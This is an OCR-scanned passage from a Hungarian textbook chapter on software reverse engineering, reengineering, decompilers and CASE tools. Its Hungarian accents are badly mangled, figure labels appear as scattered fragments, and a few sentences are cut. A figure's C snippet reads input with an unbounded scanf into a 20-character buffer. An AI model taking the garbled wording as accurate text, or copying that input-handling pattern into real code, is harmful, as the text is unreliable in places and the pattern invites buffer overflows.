Kovetelmények Rendszer
meghatarozasa spec1ﬁkac10
Atveteh . Rtend’sz.e,r
teszt terve INICgracios
teszt terve

o

Szolgaltatas
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7. abra. Tesztelési fazisok a szoftverfolyamatban
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A szoftvervisszatervezés folyamatat E. J. Chikofsky és J. H. Cross az alabbi mddon definialta
1990-ben:

A visszatervezés az elemzés azon folyamata, amikor a kérdéses rendszerben

(a) meghatarozzuk a rendszer komponenseit és azon kapcsolatait, tovabbd

magasabb szintjén abrazoljuk azt.” [1]
A szdvegbdl kideriil, hogy a szoftvervisszatervezés folyamata két 1épcs6bdl all, ((a) és (b))
amelyek kimondjak, hogy a szoftvervisszatervezés folyamatanak elsé 1€pése a szoftver
komponensek ¢és az azok kozotti kapcsolatok meghatirozdsa, majd a kovetkezd 1épés e
komponensek abrazoléasa az absztrakcid egy magasabb szintjén vagy egy mas alakban.
Tehat maga a szoftvervisszatervezés a forraskddbol magasabb szintli (vagy mas alaku)
abrazolast tesz lehetové. A szoftver magasabb szintli reprezentalasa nagyon sok esetben nyujt
oOriasi segitséget a fejlesztés, karbantartas, lizemeltetés szempontjabal.
Egy szoftver készitése altaldban egy megbizassal kezddédik. Felmeriil egy igény egy
rendszerre, amelyet specifikalnak, megterveznek és elkészitenek. Ezzel egyiitt jar rengeteg
dokumentum, a tervezési fazisbol tervezési dokumentaciok, tervezett rendszerelemek, a
rendszer magas szintli specifikacidja, UML, EK diagramok, stb. Kezdetben ezek az elkésziilt
rendszerrel szinkronban vannak. A karbantartds soran folyamatos valtozason, mddositason
esik at a kod, amelyet ezek a dokumentumok nem tudnak kdvetni a szoros hataridék miatt.
Ezért egy 1d6 elteltével a kezdeti dokumentéaciok szinte semmilyen valos informaciét sem
tudnak nyujtani a rendszerhez, ¢és ez nagyban megneheziti annak karbantartasat,
tovabbfejlesztését.
Ebben az esetben segitségiil lehet hivni egy visszatervezett, magasabb szintli modellt, amely
oriasi segitséget ad a rendszer megértése érdekében, s amelybdl konnyen generalhatd példaul
dokumentum vagy diagram is (mint azt majd a késobbi fejezetekben targyaljuk is).
Szamos olyan szoftverrendszer van hasznalatban jelenleg is, amelyeknek nem, hogy a
dokumentécidja, de még a forraskodja sincs meg. Az ilyen tipusi problémdk tomeges
felismerése napjainkig varatott magara. Egyre tobb olyan cég van, amely régdta ilyen
rendszert hasznal, de csak napjainkban eszmélnek ra, hogy a rendszer gyors fejlesztése,
karbantartdsa érdekében komoly Osszegeket kell arra forditani, hogy a rendszernek ismét
érvényes dokumentacioi, leirdsai legyenek, melyek a rendszer pillanatnyi allapotat tiikrozik,
¢s amelyekkel a fejlesztés, karbantartds menete megkonnyithetd, leroviditheto.
(Természetesen egy olyan rendszer megértése sokkal egyszeriibb, amelyhez magasabb szintli
leirasok, feljegyzések, dokumentumok vannak, mint ahol szinte csak a kod ismert. Ekkor
természetesen a fejlesztés és a karbantartas is gyorsabba valik.)
A visszatervezés folyamatabol sok megvalaszolatlan kérdés meriil fel. Példaul, hogy mi
legyen a magasabb szintli modell? Mi legyen a reprezentaci6? Egy abra? Egy szoveges leiras?
Milyen irdnyban kozelitsik meg az elemeket? Milyen elveket célszeri betartani
visszatervezés soran? Milyen eszkozok allnak rendelkezésiinkre? A fejezetben mindegyik
kérdésre megprobalunk valaszt adni.
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Magasabb szintii modell

A visszatervezés folyamatanak egyik kulcs kérdése, hogy milyen magasabb szintii modellre
fejtsiik vissza a rendszeriinket. A modell meghatirozasaban a hasznalt nyelv és az alkalmazott
megkozelités jatssza a foszerepet.

Barmely programozasi nyelvben irddott rendszert jol strukturdltnak tekinthetlink, mivel a
forraskod szintaktikdja szigora konvenciokat kovet, melyet mindig az aktualis nyelv kot ki. A
visszatervezés feladata pedig, hogy a statikus struktirabol és a dinamikus viselkedésbdl olyan
absztrakt reprezentaciot készitslink, amelyet a késébbiekben széles korben felhasznalhatunk.
A programozasi nyelvben hasznalt nyelvtan egyértelmii strukturdjat egy un. ,,levezetési fa”
(parse tree) hatarozza meg. Ez a levezetési fa egy, a nyelvtan altal definidlt fa, amely
tartalmazhat sziikségtelen elemeket is. Példdul tranzitiv, lancolt szabalyok szerepelhetnek
benne.

A feladatunk egy olyan absztrakt szintaxisfa (abstract syntax tree, AST) meghatarozasa,
tartalmaz ,,felesleges” elemeket.

Miutan meghataroztuk az AST fat, a kdvetkezo 1épésben felhasznaljuk a mar meglévd fa-
szerkezetet, hogy létrehozzuk a rendszer modellbeli leirasat. Ezt Ggy tesszilk meg, hogy
kidekoraljuk a fat extra informaciokkal, tovabba felvesziink extra kereszt éleket, mint példaul
fliggvényhivasok, tipushasznélat, argumentum 4tadas stb. Ezen kereszt ¢lek hatdsara a modell
graf szerkezetll lesz, amely rendelkezik egy a szintaxisnak megfeleld feszitéfaval. Ez a
szerkezet lesz az absztrakt szemantikus graf (abstract semantic graph, ASG), a rendszeriink
modellje. Ennek a reprezentacionak az eldnye, hogy a grafra alkalmazhatjuk az 6sszes ismert
graf bejard, szétvalasztd algoritmust, melyekkel konnyen elemezhetjiik a rendszeriinket,
tovabba a grafot vizualisan is konnyebb megjeleniteni (szamos szoftver létezik ra, példaul
Gephi), ezért atfogobb, atlathatobb képet képes adni, mint egy szoveges leiras.

Egy masik magas szintli programreprezenticié a hivasi graf, vagy Control Flow Graph
(CFG). A CFG a program végrehajtasanak Osszes lehetséges lefutasat dbrazolja grafként. A
graf csomoépontjai az alap blokkokat (basic-block) reprezentaljak, mig az élek két blokk
kozott azt jelentik, hogy van olyan lefutdsa a programnak, ahol az egyik blokk utdn a masik

crer
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Forraskod részlet CFG grafja ASG grafja
¢ ! char type

char[20] str; char[gO]”str; char[20] str; <'
scanf(,,%s”, str); scanf(,,%s”, str); Integer literal
if (stremp(str, ,,exit”)) { v
) exit(0); if (stremp(str, exit”)) scanf(,,%s”, str); Function

l String

exit(0); ”
i

A

A

stremp(str, ,,exit”) Function

v

8. abra. Példa CFG és ASG grafokra

Megkozelitések

A kovetkezOkben két megkozelitést targyalunk részletesebben, illetve ezek egyiittmiikodését a
pontosabb rendszerdbrazolas érdekében. A két megkdzelités az elemzés irdnyaban tér el
egymastol. Persze ezeken a megkozelitéseken feliil mas lehetdségek is 1éteznek, viszont ezek
a legaltalanosabban elfogadottak a visszatervezési modszerek koziil.

Top-down (dekompozicio)

A top-down szemlélet feliilrél lefel¢ kezdi elemezni a rendszert. A rendszer magasabb szintli
reprezentacidjatdl indul, és folyamatosan részletesiti, kifejti a kiilonbozo elemeket. A rendszer
akik a funkcionalitasok mit-miértjeit meg tudjak mondani. Ezekbdl a kinyert informaciokbol
tervezziik vissza a rendszeriinket.

Elonye ennek a megkdzelitésnek, hogy nem sziikséges kddokat olvasgatni ahhoz, hogy egy-
egy funkciot megértsiink, ¢16szoban megkapjuk a sziikséges informacidkat. Természetesen a
kod elemzése nem maradhat ki, mivel felilrél indulunk, ezért a kod értelmezése, elemzése
csak késobbre tolodik. Az igy elkészitett dokumentacidk alkotjak a rendszer magasabb szintii
Amennyiben nem tudunk a fejlesztékkel interjukat késziteni, ugy ez a megkozelités nem a
legmegfelelobb, mivel igy nem tudunk elsé kézbdl informaciokat szerezni a rendszerrél. A
masodkézbdl szerzett informaciokra nem szabad épiteniink, mivel ezek nem biztos, hogy a
rendszer aktudlis, érvényes alakjat reprezentaljak.

A top-down mddszer egyik hatranya, hogy a személyes egyeztetések elkeriilhetetlenek. Ebbdl
adddoan automatizalni sem lehet teljesen a folyamatot. Masik hatranya, hogy nem tudjuk a
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rendszer legalsobb szintjeit is pontosan feltérképezni, ami abbol adodik, hogy egy ember nem
képes olyan komplex ralatast adni a rendszerre, mint példaul egy elemz6 szoftver.

Bottom-up (szintézis)

A bottom-up modszer az elobb targyalt dekompozicid ellentéte. Nem feliilrél, azaz a
fejlesztoktdl nyerjlik ki a sziikséges informacidkat, hanem a forraskod elemzésével probalunk
magasabb szintli modellt 1étrehozni. Eldnye ennek a szemléletnek, hogy a folyamat teljes
mértékben automatizalhatd, (sok eszkdz I1étezik szamos nyelvhez), tovabba minden
informaciot magabol a forraskodbol nyer, igy a masodkézbdl kapott informdciok nem is
kertilhetnek bele az elemzési folyamatba. Hatranya viszont éppen ebbdl adddik: vannak olyan
kapcsolatok, amelyeket csak a forraskodbol nem lehet felderiteni.

A két modszert egyiitt is alkalmazhatjuk ahhoz, hogy a folyamatban teljesebb képet
kaphassunk az elemzend6 rendszerrél. Ekkor viszont ligyelni kell arra, hogy a két iranyban
inditott elemzés eljuthat olyan szintre, amikor k6zds elemeket és kapcsolatokat deritenek fel.
Ekkor a két elemzés Osszekothetd, aminek kdszonhetden tovabbi lehetdségek adodnak az
elemzés szempontjabol (pl. a felsObb szinten meghatarozott logikai komponensek —
architektara — ala besorolhatdak lesznek a forraskod konkrét elemei, stb.).

Utkoztetés

Az el6z0 részben sz6 volt arrol, hogy mind a top-down, mind a bottom-up elemzési
modszereknek vannak hatranyai, hidnyossagai. Mivel top-down elemzés esetén altalaban a
fels6bb szintli kapcsolatokat kézzel hatarozzuk meg, ezért annak a hatara, hogy meddig
tudunk lenyulni a rendszer szerkezetében e kapcsolatok feltérképezésekor eléggé korlatozott,
mivel egy ember nem képes olyan athatdéan feltérképezni a rendszert, mint egy elemzd
szoftver. A bottom-up elemzés egy hatranya pedig, hogy vannak olyan dsszetartoz6 rendszer
elemek, amelyeket csupan a forrdskod elemzése alapjan nem tudunk csoportokba sorolni.
Példaul mondhatjuk, hogy osztalyok egy csoportja graf miveleteket valosit meg, egy masik
csoportja IO miiveleteket, egy harmadik csoportja pedig haldzati kommunikaciot. Ez a fajta
csoportositds nem mindig derithetd fel a forraskod alapjan. Mivel egyik elemzési modszer
sem tud teljes leirast adni a rendszeriink szerkezetérdl, ezért a legkézenfekvobb megoldas,
hogy mindketté elemzési modszert végrehajtjuk a rendszeriinkon, majd a kétfajta elemzésbol
kapott adatokat Osszevetjiik és megprobalunk tovabbi kapcsolatokat, Osszefliggéseket
meghatarozni. Ezt a folyamatot nevezziik titkdztetésnek, vagy reflexionak.

Altalanos iitkozteté algoritmus

Utkodztetés soran az architektara modell strukturalis felépitése és a forraskod alapjan épitett
modell kozott keresiink dsszefiiggéseket. Alapvetd 0sszefiiggéseket adhatunk meg gy, hogy
az architektura modell legals6 szintli elemeit Osszekdtjiikk a forrds modell legfelsd szintii
elemeivel, majd az alsobb szinteken 1év0 Osszefiiggéseket mindig a felsébb szintek
Osszefliggései alapjan allapitjuk meg. Tehat az iitkdztetéshez sziikség van az architektra
modellre, a forrasmodellre és a legfelsébb szintii elemek 0sszekotését leird modellre. Az
architektira modellt 4ltalaban manudlisan épitjiik fel kiilonb6z6 dokumentéciok és a rendszer
fejlesztoivel készitett interjuk alapjan. A legfelsébb szintlii Osszekottetést leird modell
létrehozasa nagyon interaktiv, éppen ezért altaldban nagyon iddigényes is. Az iitkdztetd
algoritmust mindannyiszor tjra le kell futtatni, akarhanyszor az architektiira modellben vagy a
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forrds modellben valtozas 1ép fel. Nagyobb rendszereknél ez az 1jraszamitds nagyon
idoigényes, ezért fontos a megfeleld iitkdzetd algoritmus kivalasztasa.

Egy éaltalanos iitkdztet algoritmust targyalunk a tovabbiakban, amelynek a 1épéseit a 9. abra
szemlélteti.

Architektara Osszekottetés
modell definialasa definialasa

Utkoztetés g

=--.__| Forras-modell
definialasa

9. abra. Egy dltalanos titkozteto algoritmus menete

Magas szinti architektira modell definialasa. Ez 1ényegében a top-down elemzés. Ez a
modell a rendszer strukturalis felépitését irja le egy vagy esetleg tobb szemszogbdl. Az
architektira modell definidlasa 4altalaban a rendszerrél késziilt dokumentaciok
atolvasasaval ¢és a fejlesztokkel késziilt interjik alapjan, esetleg hasonld felépitésii
architektirdk attanulméanyozésaval torténik.

Forras modell definialasa, amit altaldban bottom-up elemzéssel valdsitunk meg. A
forrds modell létrehozasa nem kézileg, hanem 4ltalaban egy graf adatszerkezetet
kezeld eszkozzel torténik, aminek atadjuk a forraskod Osszes elemét, amit aztan az
eszkoz végigelemez ¢s egy eldre definialt séma alapjan egy hivasi és fliggdségi grafot
épit fel (példaul a mar korabban targyalt ASG-t).

Az architektara és a forrds modell 0Osszekotését leird modell definidldsa. A
felhasznalonak definidlnia kell egy olyan modellt, ami leirja, hogy az egyes
architektira modellben levé elemek ¢és a forrds modellben levé elemek hogyan
kapcsolodnak egymashoz.

Az litkoztetés végrehajtasa. Miutdn definidltuk a magas szintii architektira modellt, a
forras modellt, ¢és az Osszekottetést leird modellt, egy kiilon eszkozzel ezeket a
modelleket felhaszndlva ki kell szdmolni az iitkdztetés utan keletkez6é modellt. Ebben
a modellben figyelhetjiilk meg a forraskodbeli kdlcsonhatasokat az architektura nézet
szempontjabol. Az eszkdz a forraskodbeli kolcsonhatasokat az Osszekotés modell
alapjan atvezeti az architektira modellre.
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5. Valtozasok esetén a modellek bizonyos részeinek ujradefinidlasa, majd az iitkoztetés
ujboli végrehajtasa.

Decompilerek

Mint mar emlitettilk, sok esetben a rendszer tulajdonosanak még a forraskdd sincs a
birtokédban, amely a rendszer tovabbi fejlesztését, karbantartasat nagyban megneheziti.

Ilyen problémakra kindlnak megoldast a decompilerek. A kizarolag interpretalt nyelveket
leszamitva minden programozasi nyelvhez léteznek compilerek (forditoprogramok). Ezek
olyan programok, amelyek az adott nyelvii forrask6dbdl alacsonyabb szintii kddot allitanak
el6. Altalaban binaris kodot, vagy (példaul a Java esetében) bajtkodot, annak érdekében, hogy
a programunk futtathat6 legyen. Ilyen példaul a C nyelvil forraskddok egyik compilere, a gcc
(GNU Compiler Collection).

A decompiler ennek pont az ellentéte. Azaz az alacsony absztrakcios szintli (gépi kodu)
futtathat6 programokat fejtik vissza (amelyek szadmitogépek altal értelmezheté forméaban
vannak) magasabb absztrakcios szintli kodda, amelyet emberek altal olvashaté formaban
jelenitenek meg. A kodvisszafejtés sikere azon mulik, hogy mennyi informaci6 talalhaté a
visszafejtendd kddban és azon is, hogy az elvégzett gépikod-analizis mennyire kifinomult.

A bajtkod formatumok, melyet a virtualis gépek hasznéalnak (pl. a Java Virtual Machine)
gyakran jelent6s mennyiségli metaadatot tartalmaznak, valamint olyan magasabb szintii
adatokat, melyek jelentdsen megkonnyithetik a kodvisszafejtést. A gépi kod, azaz a binaris
kéd ezzel szemben alig tartalmaz metaadatot, ezért sokkal nehezebb visszafejteni. Egyes
forditoprogramok 0Osszezavart kodot (obfuscated code) generalnak, hogy a visszafejtést
megnehezitsék.

Eszkozok

A forraskodbol torténd magasabb szintli reprezentacio eldallitdsara sok automatizalt szoftver
1étezik. Ezek koziil felsorolunk néhdny ingyenes verziot, a teljesség igénye nélkiil. A generalt
magas szintll reprezentdcid altaldban egy UML-beli modell, egy HTML dokumentécio,
esetleg XML leiras, vagy csak egy egyszerii szoveges dokumentum (bar ez ritka manapsag).

Doxygen

A Doxygen dokumentaciot general forraskodbol. Tamogatott nyelvek széles skalajat
biztositja, tobbek kozott C, C++, Java, Objective-C, Python, Fortran, VHDL, PHP, C#, stb.
Képes kozvetleniil online (HTML) és/vagy offline (RTF, PS, PDF, Latex, Unix man)
dokumentéciot is generalni. A szoftver hordozhato, jelenleg a Linux, Windows XP/Vista/7 és
Mac OS X operacios rendszereket tdamogatja. A szoftver GNU General Public License ala
tartozik. A Doxygen csak dokumentumot képes generalni, sok esetben azonban ennél tobbre
van sziikség. Hivatalos oldaluk: "http://www.doxygen.org/”.

SHRiMP

A SHRiMP (Simple Hierarchical Multi-Perspective) egy vizualizacios technika, amelynek
feladata, hogy megkonnyitse a komplex rendszerek informacioinak és a szoftver
architekturdjanak feltérképezését. A SHIMP egy technika és egy alkalmazas is egyben. Harom
formaban érhetd el.

e Jambalaya (Protégé plug-in)
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e Creole (Eclipse plug-in)
e Tovabba létezik egy kiilonalld eszkdz, amely graf alapu vizualis reprezentaciot ad a
Java nyelvii rendszerekrdl (példaul GXL, RSF, XML, XMI).

Hivatalos oldaluk: http://www.thechiselgroup.org/shrimp
Rigi

A rigi egy interaktiv vizualizacids eszkdz a szoftver megértéséhez és jra-dokumentéldsdhoz.
Fo feladatanak tekinti az absztrakcid magasabb szintjének feltérképezését a nagy szoftver
rendszerekben. A rendszert graf szerkezetben reprezentélja, és rank ruhdzza a lehetdséget,
hogy beallitsuk, hogy a rendszer mely elemeit vizsgalja, elemezze.

Hivatalos oldaluk: http://www.rigi.csc.uvic.ca/

SAVE

A SAVE (Software Architecture Vizualition Evaluation) képes automatikusan eldallitani és
abréazolni is az architektarat, tovabba kimutatja a forraskddban hasznalt modultipus nézeteket,
¢s Osszehasonlitja a felhasznald altal beallitott modellekkel. Tovabba megadhatunk bizonyos
szabalyokat is, amelyek szerint dbrazolni akarjuk az architektura felépitését. A SAVE tovabba
segit az ujratervezésben, ujrafelhasznalasban és segit karbantartani a rendszeriinket.

Hivatalos oldaluk: http://www.fc-md.umd.edu/save/

ArgoUML

Az ArgoUML egy komplett UML modellez6 eszk6z. LehetOséget biztosit szinte az 0sszes
UML diagram szerkesztésére, tovabba képes a diagrambol forraskddot generalni (forward
engineering, a kovetkezo fejezetben keriil kifejtésre) és meglévo kodot visszatervezni (ezt egy
modularis visszatervezd keretrendszerben valositja meg), azaz diagramot késziteni a Java
nyelvil forraskodbol, vagy jar fajlbol.

Hivatalos oldaluk: http://argouml.tigris.org/
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SZOFTVERUJRATERVEZES

A szoftverujratervezés, azaz a reengineering folyamata magaban foglalja a visszatervezés
(reverse engineering) folyamatat is, tovabba segitségiil hiv egy ugynevezett eldretervezés
(forward engineering) folyamatot is. Ahhoz, hogy megértsiik a szoftverujratervezést, eldszor
tekintsiik at forward engineering folyamatat.

Forward engineering

E. J. Chikofsky és J. H. Cross az alabbi modon definialta 1990-ben a forward engineering
folyamatat:

A forward engineering az a hagyomdanyos folyamat, amikor a magas absztrakcios szintii,

logikai és implementacio-fiiggetlen reprezentdaciobol a valos implementaciot, hozzuk

letre.” [1]
Ebbdl megtudhatjuk, hogy a forward engineering valojaban a reverse engineering ellentétes
iranyu folyamata, ahol a magasabb szintli, implementécio fliggetlen modellbdl a rendszeriink
A forward engineering feladata, hogy az informalis kovetelmény leirdst, vagy valamilyen
magasabb szintli reprezentaciot valds kodda alakitson, tagabb értelemben alacsonyabb szintii
reprezentacidt adjon. Ez az absztrakcid szintjének megvalasztdsatol fliggden komplex, és sok
esetben nem egyértelmii feladat.
Egy szoveges leirast, kovetelmény specifikacidt nehéz automatikusan elemezni, ezért az ilyen
eszkozok nagy része kézi beavatkozast igényel a folyamat elején (vagy olyan bemenetet var,
amelyet a fejlesztonek kell megfelel6 alakra hoznia).
Egy egyszerl eset, amikor példaul egy osztalydiagrambol kell kddot generdlni. Ez nem nehéz
feladat, a kulcskérdés az osztalydiagram reprezentalasaban rejlik, amelyet ha valamilyen
automatikusan feldolgozhaté grafikus formaban kapunk meg (valamilyen eszkoz altal
eldallitott formaban), egy egyszerli elemzés utan a kddgeneralds mar pofon egyszert feladat,
ha szoveges formaban kapunk meg, Uigy a dolgunk még egyszeriibb. Ebben az esetben egy
diagrambol forraskod vazat generalunk, tehat forward engineering-et hajtunk végre. Teljes
forraskod automatikus generalasahoz nem elég egy hagyomanyos osztalydiagram, egyéb
reprezentaciok felhasznalasa is sziikséges, vagy alkalmazhatdo az un. futtathaté UML. A
futtathato (executable) UML olyan UML profil, amely a hagyomanyos UML diagramokat
egésziti ki olyan elemekkel, amelyek segitségével a szemantikus viselkedés is modellezhetd
nyelv fiiggetlen modon, ezaltal a modell alkalmas lesz a teljes forraskéd automatikus
generalasara. A forward engineering folyamata viszont nem teljesen automatikus, hiszen a
kovetelményektdl valahogy a fejlesztd el kell jusson az osztilydiagramig. Ezt még egy
hasznos eszkodzzel sem lehet teljesen automatikusan, emberi beavatkozas nélkiil végrehajtani.
Komplexebb, nagyobb transzformaciokndl, az absztrakcié magasabb szintjérél a forward
engineering mar sokkal 0sszetettebb feladat.

Reengineering

A szoftvertjratervezés folyamatat a 10. abra szemlélteti. A folyamatot E. J. Chikofsky és J. H.
Cross II. igy definiélta:
»A reengineering az a folyamat, amikor a rekonstruadlt rendszert dbrazoljuk egy uj
alakban, megvaltoztatjiuk azt, majd implementaljuk az uj alakot.” [1]
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Reverse engineering Reengineering Forward engineering

A

Visszatervezett Modellek Transzformalt
modell modell

Forraskod

10. dbra. A reengineering folyamata

A folyamat maga a rendszer modositasat teszi lehetdvé, viszont a modositast az absztrakcid
egy magasabb szintjén (vagy mas formaban) vihetjiik véghez, amely sok esetben jelentdsen
lecsokkentheti a mdodositasra szant és forditott id6t. Egy jol visszatervezett modellben egy-két
aprobb valtoztatds utan (amely magas szinten lehet apro, de a fizikai megvaldsitas szintjén
lehet, hogy rengeteg valtozast okoz) az implementaciét mar a forward engineering hajtja
végre, amely leveszi a kodirds egy részének a terhét a programozo vallarél. Egy ligyes
szoftvereszkoz képes legenerdlni a kddot a magasabb szintli modellbeli valtozas alapjan, igy
gyorsitva a fejlesztést.

Ahogy a visszatervezésnél, itt is felmeriil egy kérdés, hogy az absztrakcidé mely szintjére
emeljiik a kodunkat. A 11. dbra bemutatja az absztrakcio szintjeit hierarchidba szervezve.

Koncepcionalis

Kovetelmények

Tervezés

Implementécio

11. abra. Az absztrakcio szintjei [2]
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A reverse engineering folyamata a piramis aljatol indul, és az altalunk valasztott absztrakcios
szintre emeli a rendszeriinket, mig a forward engineering a magasabb szintli reprezentaciot
alakitja konkrét fizikai implementaciova, azaz a piramisban feliilrdl lefelé halad.

Altaldanos modell az ujratervezés folyamatdiban

A 12. dbra szemléleti az altalanos modellt az Gjratervezés folyamataban.

Reverse engineering Forward engineering

Uiragondolas

v

Koncep- Koncep-
cionalis cionalis
Ujraspecifikalas

Kovetelmények » | Kovetelmények
Ujratervezés
Tervezes p | Tervezés
Implementacio Uirakédolés Implementécio
>
A meglévo rendszer .. . A cél rendszer
Osszehasonlitas

A
v

12. abra. Altalanos modell az vjratervezésben

Ennek a folyamatnak a legfontosabb része a visszatervezett modell helyes megvalasztasa.
Nagyon fontos, hogy a rendszeriinket arra a szintre emeljiik fel és ott modositsuk, amelyiken
ténylegesen végrehajthatoak azok a modositdsok, melyeket szeretnénk alkalmazni a
rendszeren. A kiillonb6z6 szinteken kiilonb6zo megkozelitést igényel az Ujratervezés. Az
ujrakodolas a meglévd forraskod atirdsat, nem pedig 0j implementécio készitését jelenti. Az
ujratervezés folyaman példaul az eddigi rendszeriink tervét modositjuk, és tligyelniink kell
arra, hogy a rendszer specifikdcioja nem valtozhat, tehat a rendszeriink ugyanazt kell, hogy
megvaldsitsa, mint eddig, csak mas elvek, mas modszerek segitségével. Ujratervezés
folyaman a rendszer egy modelljét (kordbban a tervezési mddszerek fejezetben targyaltuk a
lehetséges modelleket) modositjuk, majd abbol késziil el az azt megvalositd rendszer.
Ujraspecifikalas soran viszont a rendszer modelljénél magasabb szintre emeljiik a folyamatot,
ezért ebben az esetben azt kell megmondanunk, hogy mit is csindljon a rendszer és nem azt,
hogy hogyan. Itt mondjuk meg, hogy a rendszer milyen specifikdcioknak kell, hogy
megfeleljen, ujradefinialjuk az elvarasokat, megmondjuk, hogy mit csinaljon masképp, mint
eddig. Jol latszik a két szint kozotti elvi kiilonbség. Bizonyos modositasokat nem tehetiink
meg egy adott szinten, ezért nagyon fontos, hogy az Gjratervezés folyamata soran azt a szintet
valasszuk, amelyben képesek vagyunk a sziikséges valtozasokat eszk6zolni.

Megkozelitések

Komplex szoftverrendszerek jratervezésénél feltételezhetjiik, hogy az jratervezés folyamata
sziikségszerlien magaval vonzza azt is, hogy az elkésziilt, azaz az ujratervezett rendszert
mihamarabb haszndlni szeretnénk, mégpedig az eldzd helyett. Ekkor felmeriil a kérdés, hogy
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a csere milyen iitemben, milyen fazisokban torténjen meg. Harom altaldnos megkozelités
ismert [2], ezeket tekintjiik 4t a kdvetkezdkben.

Big Bang megkozelités

A Big Bang megkdzelitésben (szokas még ,,Lump Sum”-nak is nevezni) a 1étezd rendszert
teljes egészében azonnal felvaltja az Ujratervezett. Ezt a megkdzelitést akkor alkalmazzuk,
amikor valamilyen siirgds, halasztast nem tiiré problémat kell megoldanunk, példaul egy mas
rendszer egy idoben keriil be az Uj kornyezetbe. Nincsenek interfészek az 0j és a régi
komponensek kozott, mivel egyszerre torténik a csere. Hatranya viszont az, hogy nem minden
esetben alkalmazhat6 a monolit projektekre.

Inkrementalis megkozelités

Szokas még ,,Phase-out” megkdzelitésnek is nevezni. Ebben a megkdozelitésben a rendszer
kiilonb6z6 komponenseit kiilon-kiilon wjratervezve, majd inkrementalisan a rendszerhez adva
az 0j elemeket kapjuk meg a kitlizott céloknak megfeleld rendszert.

A rendszer Ujratervezett komponenseinek meghatarozasa az eredeti rendszer komponensein
alapul. Elénye, hogy a kisebb komponenseket gyorsabban lehet 1étrehozni, és konnyebb a
hibdk nyomon kdvetése is, mivel a hiba megjelenése és a legutolsé komponens beépitése
kozotti Osszefiiggés egyértelmili. Egyik hatranya ennek a megkozelitésnek, hogy a teljes
rendszer strukturdjat nem vagyunk képesek megvaltoztatni, csupan csak a komponenseket
tudjuk modositani. Masik hatranya, hogy a rendszer teljes cseréje tobb id6t vesz igénybe a
koztes verziok kialakitasa miatt. Ennél a megkozelitésnél a kockazat alacsonyabb, mint a Big
Bang-nél, mivel a komponenseket kiilon-kiilon kezdjiik el Gjratervezni. Ezeken a kiilonb6z6
kodrészleteken konnyebb a nyomon kdvetés és a monitorozas.

Evolucios megkozelités

Az evolucidos megkozelités az inkrementdlishoz hasonléan a rendszert részekre,
komponensekre bontja, majd ezen komponenseket fokozatosan cseréli le azok Ujratervezett
formajara. Az eltérés a két modszer kozott az, hogy mig az inkrementélis megkozelités a
komponensek meghatarozasdhoz a rendszer struktarajat figyeli, ugy az evolucios
megkozelités a funkcionalitast tartja szem el6tt. Ez a megkdzelités lehetdséget ad a
fejlesztoknek arra, hogy az egyes funkcionalitdsok ujratervezésére forditsdk erdfeszitéseik
nagy rész¢ét, azok wvalos, strukturdlis elhelyezkedését figyelmen kiviil hagyva. Ez a
megkozelités jol alkalmazhatd, ha objektum-orientalt formara konvertalunk. Az inkrementalis
¢s evolucidos megkozelitések kozti kiillonbséget a 13. dbra szemlélteti. Inkrementélis
megkozelitést alkalmazva az egyes GUI urlapok ujratervezése egyesével torténne, mig
evolucids megkozelités esetén az egy funkcidhoz tartozo tirlapokat kdzdsen kezelnénk.

CASE eszkozok

A szamitogéppel tamogatott szoftvertervezés (Computer-Aided Software Engineering, CASE)
bizonyos tevékenységek automatizdlasaval tamogatja a szoftverfejlesztési folyamatot. A
CASE eszkozok eredete 1982-ig vezethetd vissza, ekkor tortént ugyanis, hogy egy
szoftvercég Michigen-ben grafikai elemeket integralt egy szovegszerkesztobe (GraphiText),
melyek segitségével akar diagramokat is lehetett szerkeszteni. Bizonyos értelemben egy
CASE eszk6z hasonlit egy szovegszerkesztore. Egy szovegszerkesztd nem irja meg
helyettiink a leveleinket vagy a dokumentumainkat, de hatékony hatteret képes biztositani,
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konnyt szerkesztési lehetdségekkel, helyesiras-ellenérzéssel, €s a tobbi funkcidval.
Hasonloképpen segit egy CASE eszkoz is. Sziikség esetén elvégzi az automatikus
ellenérzéseket, listakat, abrakat general, kereszthivatkozasokat készit, tamogatja a
dokumentélast, Osszeszedi az informdciokat, rendszerezi dket, és elokésziti a fejlesztést, hogy
a programozas minél zokkendmentesebb legyen.

Egy CASE eszkdz a programozést nem veszi le a fejleszték vallarol, de igyekszik minden
szempontbol a lehetd legjobb koriilményeket biztositani hozza.

Egy rendszer moduljai

GUI Form 1 View v Model

GUI Form 2 Controller

\

DAO

%\

DAO (Server 1) DAO (Server 2)

Funkcioi
Megjelenités
Model
GUI Form 1 View
Model
GUI Form 2
Vezérlés
Controller

\

Adatbazis elérés

DAO

N

DAO (Server 1) DAO (Server 2)

13. abra. Inkrementdalis és evolucios megkozelités kiilonbségei
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Modszerek

Szamos szempontnak kell megfelelnie egy j6 CASE eszkoznek. Igy példaul jo, ha minél t5bb
modszertant tdmogat, hiszen maga a tervezés rendszerint mddszertanok alapjan torténik. A
modszertan a fejlesztés sordn eléfordulo elveket hatdrozza meg, €s ez alapjan hatarozza meg a
modszerek egymasutanisagat. A modszer egyszeriien elvégezhetd elemi 1épések sorozata,
amely egy kiindulopontbol elvezet az eredményig. Sokféle modszertan van, és lassan kiilon
tudomény, hogy melyik mire vald. Altaliban a feladat hatdrozza meg, hogy melyiket kell
hasznalni. A moédszertanokat felépitdé modszerek nem feltétleniil kiilonbéznek egymastol,
legfeljebb mas sorrendben, masképp kell végrehajtani 6ket. A feladatok nagy tobbsége
ugyanakkor barmilyen modszertan szerint elvégezhetd (legfeljebb tobb munkdval jar), és
sokszor a rendszertervezOn mulik, hogy személyes preferenciai alapjan melyiket részesiti
elényben. Ezért aztin egy j0 CASE eszkoz a modszertanok széles skaldjat kell, hogy
tamogassa, hogy minden fejleszté megtalalja benne a sajat igényeinek és az éppen aktualis
feladatnak megfeleldt. A rendszertervezés egyik elsd 1épése az, hogy meghatirozzuk, hogy
mely médszertant, €és annak mely 1épéseit alkalmazzuk.

CASE eszkozok osztalyozdsa

A CASE eszko6zok osztalyozasanak rengeteg mddja van. Alfonso Fuggetta harom csoportba
sorolta a CASE eszkozoket. Ezek a kovetkezdk voltak:

e FEszkdozok (Tools): Csak egy specidlis részfeladatot, task-ot tdmogatnak a
szoftverfejlesztés folyamataban. Ilyen eszkdz példaul egy folyamatabra szerkeszto,
amely igaz, hogy segit a szerkesztésben, de mégis csak a folyamat egy igen apro
részében, mégpedig a folyamatabra megszerkesztésében. A CASE eszkozok a
szoftverek ¢életciklusanak kezelése, szoftverkomponensek integralasa, szoftverek
